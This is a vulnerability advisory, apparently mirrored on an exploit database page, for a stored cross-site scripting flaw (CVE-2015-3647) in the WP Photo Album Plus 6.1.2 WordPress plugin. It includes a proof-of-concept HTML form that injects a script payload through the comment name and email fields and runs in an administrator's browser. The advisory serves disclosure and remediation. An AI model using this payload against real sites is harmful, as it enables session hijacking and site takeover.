Lucene search
K

WordPress WP Photo Album Plus 6.1.2 Cross Site Scripting Vulnerability

🗓️ 21 May 2015 00:00:00Reported by High-Tech BridgeType 
zdt
 zdt
🔗 0day.today👁 42 Views

WordPress WP Photo Album Plus 6.1.2 XSS Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress plugin WP Photo Album stores cross-site scripting vulnerabilities
20 May 201500:00
cnvd
CVE
CVE-2015-3647
21 May 201520:00
cve
Cvelist
CVE-2015-3647
21 May 201520:00
cvelist
EUVD
EUVD-2015-3684
7 Oct 202500:30
euvd
htbridge
Stored XSS in WP Photo Album Plus WordPress Plugin
29 Apr 201500:00
htbridge
NVD
CVE-2015-3647
21 May 201520:59
nvd
Packet Storm
WordPress WP Photo Album Plus 6.1.2 Cross Site Scripting
21 May 201500:00
packetstorm
Patchstack
WordPress WP Photo Album Plus Plugin <= 6.1.2 - Multiple XSS
6 May 201500:00
patchstack
Prion
Cross site scripting
21 May 201520:59
prion
securityvulns
Stored XSS in WP Photo Album Plus WordPress Plugin
8 Jun 201500:00
securityvulns
Rows per page
Product: WP Photo Album Plus WordPress Plugin
Vendor: J.N. Breetvelt
Vulnerable Version(s): 6.1.2 and probably prior
Tested Version: 6.1.2
Advisory Publication:  April 29, 2015  [without technical details]
Vendor Notification: April 29, 2015 
Vendor Patch: April 29, 2015 
Public Disclosure: May 20, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2015-3647
Risk Level: Medium 
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered stored XSS vulnerability in WP Photo Album Plus WordPress plugin, which can be exploited to perform Cross-Site Scripting attacks against administrators of vulnerable WordPress installation. An attacker might be able to hijack administrator’s session and obtain full control over the vulnerable website.

The vulnerability exists due to the absence of filtration of user-supplied input passed via the "comname" and "comemail" HTTP POST parameters to "/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" script when posting a comment. 

A remote attacker can post a specially crafted message containing malicious HTML or script code and execute it in administrator’s browser in context of the vulnerable website, when administrator views images or comments in administrative interface. 

A simple exploit below will store JS code in the WP database and display a JS popup window with "ImmuniWeb" word every time the administrator views comments or images:


<form action="http://[host]/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" method="post" name="main">
<input type="hidden" name="action"  value='wppa'>
<input type="hidden" name="wppa-action"  value='do-comment'>
<input type="hidden" name="photo-id"  value='2'>
<input type="hidden" name="comment"  value='1'>
<input type="hidden" name="moccur"  value='1'>
<input type="hidden" name="comemail"  value='"><script>alert(/ImmuniWeb/);</script>'>
<input type="hidden" name="comname"  value='"><script>alert(/ImmuniWeb/);</script>'>
<input type="submit" id="btn">
</form>


The code will be automatically executed, when the administrator visits one of the following pages:

http://[host]/wp-admin/admin.php?page=wppa_manage_comments
http://[host]/wp-admin/admin.php?page=wppa_moderate_photos

-----------------------------------------------------------------------------------------------

Solution:

Update to WP Photo Album Plus 6.1.3

More Information:
https://wordpress.org/plugins/wp-photo-album-plus/changelog/

#  0day.today [2018-04-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation